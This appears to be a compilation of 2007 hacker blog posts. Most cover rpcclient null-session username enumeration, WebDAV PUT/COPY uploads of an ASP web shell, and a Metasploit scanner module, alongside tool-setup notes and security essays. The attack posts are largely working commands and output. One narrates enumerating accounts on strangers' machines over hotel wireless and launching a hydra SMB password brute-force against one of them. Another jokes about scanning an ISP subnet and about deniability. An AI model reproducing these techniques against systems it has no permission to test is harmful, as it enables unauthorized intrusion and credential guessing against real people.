More of using rpcclient to find usernames

So say you are given the assignment of doing an audit in a non-english speaking country. you are at a minimum going to have to locate how they spell administrator in the country in question. if google doesnt help you or gives you multiple options (like it did me this time) if you can find a box running samba or with file and printer sharing enabled and shared to the world (like you arent supposed to do) then you can use rpcclient to pull out the usernames with a null session

null sessions still rule in 2007...

cg@segfault:~$ rpcclient -U "" x.x.3.96
Password:
rpcclient $> lsaenumsid
found 11 SIDs
S-1-5-6
S-1-5-32-551
S-1-5-32-547
S-1-5-32-545
S-1-5-32-544
S-1-5-21-2000478354-1708537768-1957994488-501 <--guest
S-1-5-21-2000478354-1708537768-1957994488-500 <--administrator
S-1-5-21-2000478354-1708537768-1957994488-1002
S-1-5-21-2000478354-1708537768-1957994488-1001
S-1-5-21-2000478354-1708537768-1957994488-1000
S-1-1-0
rpcclient $> lookupsids S-1-5-21-2000478354-1708537768-1957994488-501
S-1-5-21-2000478354-1708537768-1957994488-501 NSL09\Convidado (1)
rpcclient $> lookupsids S-1-5-21-2000478354-1708537768-1957994488-500
S-1-5-21-2000478354-1708537768-1957994488-500 NSL09\Administrador (1)
rpcclient $> lookupnames Administrador
Administrador S-1-5-21-2000478354-1708537768-1957994488-500 (User: 1)
rpcclient $> lookupsids S-1-5-21-2000478354-1708537768-1957994488-502
result was NT_STATUS_NONE_MAPPED
rpcclient $> lookupsids S-1-5-21-2000478354-1708537768-1957994488-503
result was NT_STATUS_NONE_MAPPED
rpcclient $> lookupsids S-1-5-21-2000478354-1708537768-1957994488-503
result was NT_STATUS_NONE_MAPPED
rpcclient $> lookupsids S-1-5-21-2000478354-1708537768-1957994488-504
result was NT_STATUS_NONE_MAPPED
rpcclient $> lookupsids S-1-5-21-2000478354-1708537768-1957994488-505
result was NT_STATUS_NONE_MAPPED
rpcclient $> lookupsids S-1-5-21-2000478354-1708537768-1957994488-506
result was NT_STATUS_NONE_MAPPED
rpcclient $> lookupsids S-1-5-21-2000478354-1708537768-1957994488-1000
S-1-5-21-2000478354-1708537768-1957994488-1000 NSL09\TsInternetUser (1)
rpcclient $> lookupsids S-1-5-21-2000478354-1708537768-1957994488-1001
S-1-5-21-2000478354-1708537768-1957994488-1001 NSL09\IUSR_NSL09 (1)
rpcclient $> lookupsids S-1-5-21-2000478354-1708537768-1957994488-1002
S-1-5-21-2000478354-1708537768-1957994488-1002 NSL09\IWAM_NSL09 (1)
rpcclient $> lookupsids S-1-5-21-2000478354-1708537768-1957994488-1003
result was NT_STATUS_NONE_MAPPED
rpcclient $> lookupsids S-1-5-21-2000478354-1708537768-1957994488-1004
result was NT_STATUS_NONE_MAPPED
rpcclient $> exit

There you have it:

rpcclient rpcclient $> lgt; lookupsids S-1-5-21-2000478354-1708537768-1957994488-500
S-1-5-21-2000478354-1708537768-1957994488-500 NSL09\Administrador (1)

oh and thanks for the name of the box too :-)


fun rpcclient info: http://uw714doc.sco.com/en/samba/rpcclient.1.html

-CG

Nmap's ircServerInfo script

This summary is not available. Please click here to view the post.

BackTrack2 is NOT an operating system!!!

ok over on EH.net there are a couple of running threads on installing backtrack to Hard Disk/Drive so people can use BackTrack2 as their Operation System.

here is one of them link; i dont feel like looking up the rest (really not the point) but this has been going on for some time now (really since BT1).

OK i am going to vent for just a sec but i do have a point...

BACKTRACK IS NOT AN OPERATING SYSTEM! it is a TOOL!!

yes obviously you can run it as an operating system (hence the whole point of the rant) but why do your NEED to do that?

frankly the best education comes from building your own attack platform on the linux distro you installed, configured, and hardened yourself. You install, configure and mess with the tools YOU need to do your pentesting (or scanning your local ISP subnet) and dont have a bunch of extra crap you dont need. You get to work through library issues and crap breaking and getting so pissed at your box that you want to dropkick it out the window but guess what, you LEARN doing all that.

one of the biggest things i see over at LSO and during the rootwars is people having weak linux skills and not being able to compile and use their own tools, so naturally we ask what distro the run and mos of the time i get backtrack for an answer :-(

Dont get me wrong, i like backtrack2 as a TOOL, i boot the ISO in VMware i do what i need to do then i go back to my linux distro to read email and everything else. I have a couple of personal reasons for that one of them being denialability with the non-persistent option :-) but mostly for the reasons above; if i am going to go thru the trouble of installing a distro I might as well get something out of the install (linux knowledge-wise) instead of letting someone else do all the work for me.

just my thoughts on it. spend that effort installing that great set of tools that backtrack comes with on your own, you'll learn more and really get an idea if you actually NEED all of those tools and you get satisfaction of having control over your linux install.

-CG

Should I be flattered or worried...

so I was playing on my linkedin account and checked the "who has viewed your profile" option. one category caught my eye. not sure if I should be flattered or worried that someone from the ministry of defense is taking a looksee...

Creating a HTTP OPTIONS auxiliary module for Metasploit

Inspired by HD's HTTP version auxiliary module i wanted to see if i could get one going that would be pull down the HTTP Verbs allowable on a web server.

Basically i wanted to do:

cg@segfault:~/evil/msf3$ nc 192.168.0.109 80
OPTIONS * HTTP/1.0

HTTP/1.1 200 OK
Connection: close
Date: Sun, 19 Aug 2007 05:18:55 GMT
Server: Microsoft-IIS/6.0
MicrosoftOfficeWebServer: 5.0_Pub
X-Powered-By: ASP.NET
Content-Length: 0
Accept-Ranges: bytes
DASL:
DAV: 1,2
Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
Cache-Control: private

cg@segfault:~/evil/msf3$

but with a metasploit auxiliary module. so i got it going... mostly HD's module but i changed what needed to be changed to get it to work.

cg@segfault:~/evil/msf3$ ./msfconsole

____________
<>
------------
\ ,__,
\ (oo)____
(__) )\
||--|| *


=[ msf v3.1-dev
+ -- --=[ 215 exploits - 107 payloads
+ -- --=[ 17 encoders - 5 nops
=[ 41 aux

msf > use auxiliary/scanner/http/options
msf auxiliary(options) > set RHOSTS 192.168.0.109
RHOSTS => 192.168.0.109
msf auxiliary(options) > run
[*] 192.168.0.109 allows OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH methods
[*] Auxiliary module execution completed
msf auxiliary(options) > set RHOSTS www.carnal0wnage.com
RHOSTS => www.carnal0wnage.com
msf auxiliary(options) > run
[*] 69.64.54.104 allows GET,HEAD,POST,OPTIONS,TRACE methods
[*] Auxiliary module execution completed
msf auxiliary(options) >

i'll post the code on carnal0wnage when i get off my butt and a little something something that gives you a status if you are scanning a Class C.

**more on getting code on the box once you find a PUT

cg@segfault:~$ curl -T test.txt http://192.168.0.109/test.txt http://192.168.0.109

then you have to do a MOVE or COPY request. personally i was having issues getting a MOVE request to work with a netcat connection, so i used...

**UPDATE
it ended up being the carriage returns (or lack thereof) that was causing me to get a 400 Bad Request error. I couldnt get the MOVE command to work, but the COPY command did.

cadaver http://www.webdav.org/cadaver/

cg@segfault:~$ cadaver
dav:!> open http://192.168.0.109
dav:/> put upload.asp
Uploading upload.asp to `/upload.asp':
Progress: [=============================>] 100.0% of 1635 bytes failed:
404 Not Found
dav:/> put upload.txt
Uploading upload.txt to `/upload.txt':
Progress: [=============================>] 100.0% of 492 bytes succeeded.
dav:/> copy upload.txt upload.asp
Copying `/upload.txt' to `/upload.asp': succeeded.
dav:/> put upload.inc
Uploading upload.inc to `/upload.inc':
Progress: [=============================>] 100.0% of 5062 bytes succeeded.
dav:/> exit

from there you will want to upload your cmd.asp so you can execute commands on the box.


Browsing to upload.asp and uploading our cmd.asp (cmdx.aspx)



Interacting with out cmdx.aspx to list the directory contents of the C drive


-CG

Getting the SILC plugin to work with pidgin on ubuntu 7.04

maybe its common knowledge to everyone else, but since i couldnt find a good answer with google i'll post up how i got the silc plugin and googletalk to work with pidgin on ubuntu 7.04.

first ubuntu has some stupid ass permissions on alot of stuff and you have to use sudo for everything, i'm still undecided if ubuntu is staying around, but this can even cause you to be unable to read files and folders that you own (like i said stupid)

well when you start up pidgin as your user account everything works pretty good, except when you try to run your silc module. you'll probably get a "cant create silc key pair" error. googling wont do you much good, and you'll look where it tells you the key is /home/$userid/.silc/public_key.pub & private_key.prv and you wont have any keys there. Copying keys over from another silc client. wont work.

so the fix is to run pidgin as root so it will generate the keys for you.

cg@segfault:~$ sudo pidgin
Password:
Public key has been saved into `/root/.silc/public_key.pub'.
Private key has been saved into `/root/.silc/private_key.prv'.

after that, copy those new spiffy keys from /root/ to your home directory

cg@segfault:~$ sudo su
root@segfault:/home/cg# cp /root/.silc/public_key.pub /home/cg/.silc/
root@segfault:/home/cg# cp /root/.silc/private_key.prv /home/cg/.silc/

things should work after that.

i also had issues with ssl support, google actually helped out this time and i found

http://developer.pidgin.im/wiki/FAQssl

you need to compile with the libgnutls package.

sudo apt-get install libgnutls-dev

then recompile from source

./configure --enable-gnutls

MSN and GoogleTalk should work after that.

Playing with Kismet

A few people know i am recovering from my iBook dying.

of course like a jackass, i wasnt backing up properly which is kind of a bummer but sometimes its always nice to start fresh, but if any of you ever sent me an email i wanted to keep, can you please resend it :-)

anyway, the silver lining of all of this is i got a new lappy (Toshibia A135-S4727) with a built in atheros card so i can finally use that hacking exposed wireless book i borrowed from work (and wont be returning) and can play with some of the wireless hack tools. I'm running Ubuntu 7.04 so it was fairly easy to get things up an running. A couple quick apt-get's and a little editing of the kismet conf file and i was up and running.

$sudo apt-get install madwifi-tools
$sudo apt-get install kismet

after you install the madwifi tools you should see the wifi0 interface when you do an ifconfig

wifi0 Link encap:UNSPEC HWaddr 00-19-7E-8A-BB-F4-00-00-00-00-00-00-00-00-00-00
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1399800 errors:113005 dropped:98619 overruns:0 frame:1332679
TX packets:98112 errors:2 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:199
RX bytes:283152996 (270.0 MiB) TX bytes:12557358 (11.9 MiB)
Interrupt:16

change directories into /etc/kismet and edit the kismet.conf file to use the madwifi_ag drivers

source=madwifi_ag,wifi0,Atheros

after that you should be good to go:

$sudo kismet










Links

http://www.kismetwireless.net/

http://www.wi-fiplanet.com/tutorials/article.php/3595531

Information Leaking via P2P

There are a couple of Blog posts about classified/sensitive information leakage via P2P. Original article is here.

Blogs I read about it on here #1 & #2

Page 3 of the networkworld article is the best when it describes how some of these leakages occurred, thankfully it seems mostly through family members downloading and installing P2P software on the company computers, which is refreshing from the company idiot leaving the laptop in the car waiting for it to be stolen and contribute more to identity theft.

The fix for this in my opinion is not some fancy network appliance. Most networks if they don't want to allow P2P traffic can block the traffic, its not that hard. What you cant block is what that "road warrior" employee does when they leave the work network and plug into the hotel wireless or the cable modem at home.

So what's the fix?

1. (Most Importantly its) User Education: when that person signs for a laptop to use, give them some education(pamphlet, talking to, tattooed on their head, etc) and make them sign an user agreement that specifically states what that person can and cannot do on that company laptop (seems like now you have to remind them not to let your spouse/kid play on that laptop too). Yearly education is another good option if the organization supports it but its got to be worth the user's time and actually be beneficial, aka not a check the block thing and not the same stuff every year.

2. Configuration Management: If you allow that laptop to connect back to your network it should be scanned, patched and the AV updated before it gets back on the network, hopefully at that time you can catch unauthorized software installed.

While it wouldn't help the P2P problem, encrypting data at rest will help with those stolen laptops as well.

The Continous Compliance mentioned in the ncircle blog (link #2) also seems like a good idea, havent looked at any solutions that do that though. Guess you have to balance the risk of a new remote application that you allow access into your network (mmmm yummy) against knowing sooner that someone installed unauthorized software on your company laptop.

3. Actually Punish Rule Breakers: those people that lost the laptops with the VA data should have been hung out to dry, especially the one that wasn't authorized to take data home to work on. If TJ Maxx can be held liable for millions for using WEP instead WPA, the jackass that takes a laptop or data home when they aren't supposed to (especially with PII) should be fired if the data loss can be attributed to negligence on their part. The guy who's daughter installed lime-wire...canned, next time pay attention to what your kid/spouse is doing on the company laptop and don't let them do it. If you are too technically inept or just plain don't care about security then shouldn't be able to check out laptops with corporate data

I'm a big believer in that if you punish people when they do something wrong, others will be inclined NOT to do what that person did in the interest of self preservation. It serves two purposes. First, if the punishment is severe enough it should curb repeat offenses and second, it shows the public (if you answer to them) that you care and you did something to the offender to "right the wrong." I'd be alot (well maybe not that much) less pissed if they fired the guy that lost the data with my PII than if they just got a slap on the wrist.

-CG

Support Information Security Day

As we get ready to head out to Vegas for Defcon I wanted to put in a plug for Infomation Security Day.

From the website:
Information Security Day was started to spread the awareness of information security issues. Information Security, also known as Information Systems Security (INFOSEC) deals with the different aspects of information and its protection. Information Security Day aims at reducing the risk associated with the information systems by increasing the awareness of user community. The INFOSec Day aims at increasing the awareness in the following areas:

>> Understanding the various information system components
>> Security Management Principles
>> Risk Assessment, Sensitivity and Criticality
>> Disaster Recover and Emergency Procedures
>> Logical Security
>> Physical Security
>> Managerial Security Measures

http://www.informationsecurityday.com/

Enumerating user accounts on Linux and OS X with rpcclient

Yeah so i was bored on the hotel wireless...errr lab...and started seeing who had ports 135, 139, 445 open. I found one guy running OS X 10.4 with Samba running and one guy running Ubuntu with Samba running, oh and also one guy running XP SP0/1 vulnerable to DCOM (wont even go down that road). Using rpcclient we can enumerate usernames on those OS's just like a windows OS. Obviously the SIDS are different but you can still pull down the usernames and start bruteforcing those other open services :-)

so lets run rpcclient with no options to see what's available:

SegFault:~ cg$ rpcclient
Usage: rpcclient [OPTION...]
-c, --command=COMMANDS Execute semicolon separated cmds
-I, --dest-ip=IP Specify destination IP address

Help options
-?, --help Show this help message
--usage Display brief usage message

Common samba options:
-d, --debuglevel=DEBUGLEVEL Set debug level
-s, --configfile=CONFIGFILE Use alternative configuration file
-l, --log-basename=LOGFILEBASE Basename for log/debug files
-V, --version Print version

Connection options:
-O, --socket-options=SOCKETOPTIONS socket options to use
-n, --netbiosname=NETBIOSNAME Primary netbios name
-W, --workgroup=WORKGROUP Set the workgroup name
-i, --scope=SCOPE Use this Netbios scope

Authentication options:
-U, --user=USERNAME Set the network username
-N, --no-pass Don't ask for a password
-k, --kerberos Use kerberos (active directory)
authentication
-A, --authentication-file=FILE Get the credentials from a file
-S, --signing=on|off|required Set the client signing state
-P, --machine-pass Use stored machine account password

Once we are connected using a null session we get another set of options:

SegFault:~ cg$ rpcclient -U "" 192.168.182.36
Password:
timeout connecting to 192.168.182.36:445
rpcclient $> help
--------------- ----------------------
SHUTDOWN
shutdowninit Remote Shutdown (over shutdown pipe)
shutdownabort Abort Shutdown (over shutdown pipe)
--------------- ----------------------
ECHO
echoaddone Add one to a number
echodata Echo data
sinkdata Sink data
sourcedata Source data
--------------- ----------------------
REG
shutdown Remote Shutdown
abortshutdown Abort Shutdown
--------------- ----------------------
DFS
dfsexist Query DFS support
dfsadd Add a DFS share
dfsremove Remove a DFS share
dfsgetinfo Query DFS share info
dfsenum Enumerate dfs shares
--------------- ----------------------
SRVSVC
srvinfo Server query info
netshareenum Enumerate shares
netfileenum Enumerate open files
netremotetod Fetch remote time of day
--------------- ----------------------
NETLOGON
logonctrl2 Logon Control 2
getdcname Get trusted DC name
logonctrl Logon Control
samsync Sam Synchronisation
samdeltas Query Sam Deltas
samlogon Sam Logon
change_trust_pw Change Trust Account Password
--------------- ----------------------
SPOOLSS
adddriver Add a print driver
addprinter Add a printer
deldriver Delete a printer driver
deldriverex Delete a printer driver with files
enumdata Enumerate printer data
enumdataex Enumerate printer data for a key
enumkey Enumerate printer keys
enumjobs Enumerate print jobs
enumports Enumerate printer ports
enumdrivers Enumerate installed printer drivers
enumprinters Enumerate printers
getdata Get print driver data
getdataex Get printer driver data with keyname
getdriver Get print driver information
getdriverdir Get print driver upload directory
getprinter Get printer info
openprinter Open printer handle
setdriver Set printer driver
getprintprocdir Get print processor directory
addform Add form
setform Set form
getform Get form
deleteform Delete form
enumforms Enumerate forms
setprinter Set printer comment
setprintername Set printername
setprinterdata Set REG_SZ printer data
rffpcnex Rffpcnex test
--------------- ----------------------
SAMR
queryuser Query user info
querygroup Query group info
queryusergroups Query user groups
queryuseraliases Query user aliases
querygroupmem Query group membership
queryaliasmem Query alias membership
querydispinfo Query display info
querydominfo Query domain info
enumdomusers Enumerate domain users
enumdomgroups Enumerate domain groups
enumalsgroups Enumerate alias groups
createdomuser Create domain user
samlookupnames Look up names
samlookuprids Look up names
deletedomuser Delete domain user
samquerysecobj Query SAMR security object
getdompwinfo Retrieve domain password info
lookupdomain Lookup Domain Name
--------------- ----------------------
LSARPC-DS
dsroledominfo Get Primary Domain Information
dsenumdomtrusts Enumerate all trusted domains in an AD forest
--------------- ----------------------
LSARPC
lsaquery Query info policy
lookupsids Convert SIDs to names
lookupnames Convert names to SIDs
enumtrust Enumerate trusted domains
enumprivs Enumerate privileges
getdispname Get the privilege name
lsaenumsid Enumerate the LSA SIDS
lsaenumprivsaccount Enumerate the privileges of an SID
lsaenumacctrights Enumerate the rights of an SID
lsaaddacctrights Add rights to an account
lsaremoveacctrights Remove rights from an account
lsalookupprivvalue Get a privilege value given its name
lsaquerysecobj Query LSA security object
--------------- ----------------------
GENERAL OPTIONS
help Get help on commands
? Get help on commands
debuglevel Set debug level
list List available commands on
exit Exit program
quit Exit program
sign Force RPC pipe connections to be signed
seal Force RPC pipe connections to be sealed
schannel Force RPC pipe connections to be sealed with 'schannel' (NETSEC). Assumes valid machine account to this domain controller.
schannelsign Force RPC pipe connections to be signed (not sealed) with 'schannel' (NETSEC). Assumes valid machine account to this domain controller.
none Force RPC pipe connections to have no special properties

Lets play with a few options:

rpcclient $> enumprivs
found 5 privileges

SeMachineAccountPrivilege 0:6 (0x0:0x6)
SeSecurityPrivilege 0:8 (0x0:0x8)
SeTakeOwnershipPrivilege 0:9 (0x0:0x9)
SaAddUsers 0:65281 (0x0:0xff01)
SaPrintOp 0:65283 (0x0:0xff03)

Enumerating shares:

rpcclient $> netshareenum
netname: IPC$
remark: IPC Service (Mac OS X)
path: C:\tmp
password:
netname: ADMIN$
remark: IPC Service (Mac OS X)
path: C:\tmp
password:
netname: PSC 2170 Series
remark: PSC 2170 Series
path: C:\tmp
password:

Samba/OS info:

rpcclient $> srvinfo
LEWISFAMILY Wk Sv PrQ Unx NT SNT Mac OS X
platform_id : 500
os version : 4.9
server type : 0x9a03

Using "lookupnames" we can get the SID. Once we have "a" SID we can enumerate the rest.

rpcclient $> lookupnames root
root S-1-5-21-1835020781-2383529660-3657267081-1000 (User: 1)
rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-500
S-1-5-21-1835020781-2383529660-3657267081-500 LEWISFAMILY\Administrator (1)
rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-501
S-1-5-21-1835020781-2383529660-3657267081-501 LEWISFAMILY\unknown (1)
rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-502
result was NT_STATUS_NONE_MAPPED
rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1001
S-1-5-21-1835020781-2383529660-3657267081-1001 LEWISFAMILY\wheel (2)
rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1000
S-1-5-21-1835020781-2383529660-3657267081-1000 LEWISFAMILY\root (1)
rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1002
S-1-5-21-1835020781-2383529660-3657267081-1002 LEWISFAMILY\daemon (1)
rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1003
S-1-5-21-1835020781-2383529660-3657267081-1003 LEWISFAMILY\daemon (2)
rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1004
result was NT_STATUS_NONE_MAPPED
rpcclient $> lookupnames guest
guest S-1-5-21-1835020781-2383529660-3657267081-1063 (Local Group: 4)
rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1005
S-1-5-21-1835020781-2383529660-3657267081-1005 LEWISFAMILY\kmem (2)
rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1004
result was NT_STATUS_NONE_MAPPED
rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1006
result was NT_STATUS_NONE_MAPPED
rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1007
S-1-5-21-1835020781-2383529660-3657267081-1007 LEWISFAMILY\sys (2)
rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1008
result was NT_STATUS_NONE_MAPPED
rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1009
S-1-5-21-1835020781-2383529660-3657267081-1009 LEWISFAMILY\tty (2)
rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1010
result was NT_STATUS_NONE_MAPPED
rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1011
S-1-5-21-1835020781-2383529660-3657267081-1011 LEWISFAMILY\operator (2)
rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1012
result was NT_STATUS_NONE_MAPPED
rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1013
S-1-5-21-1835020781-2383529660-3657267081-1013 LEWISFAMILY\mail (2)
rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1014
result was NT_STATUS_NONE_MAPPED
rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1015
S-1-5-21-1835020781-2383529660-3657267081-1015 LEWISFAMILY\bin (2)
rpcclient $> lookupnames lewis
lewis S-1-5-21-1835020781-2383529660-3657267081-2002 (User: 1)
rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-2000
result was NT_STATUS_NONE_MAPPED
rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-2001
result was NT_STATUS_NONE_MAPPED
rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-2002
S-1-5-21-1835020781-2383529660-3657267081-2002 LEWISFAMILY\user (1)
rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-2003
S-1-5-21-1835020781-2383529660-3657267081-2003 LEWISFAMILY\user (2)
rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-2004
result was NT_STATUS_NONE_MAPPED

You get the idea, was pretty much the same for the Ubuntu guy cept that his user accounts were -3000.

now that i have some user accounts...

ATTACK!!!

SegFault:~/Documents/Evil cg$ hydra -l lewis -P common-passwords.txt 192.168.182.36 smb -V
[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)
WARNING: Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort...
Hydra v5.1 (c) 2005 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2007-07-27 21:51:46
[DATA] 1 tasks, 1 servers, 816 login tries (l:1/p:816), ~816 tries per task
[DATA] attacking service smb on port 139
[STATUS] 29.00 tries/min, 29 tries in 00:01h, 787 todo in 00:28h
...

yet another reason to adjust your file & printer sharing configurations when you take your computer on the road (especially if you share your My Documents folder)

-CG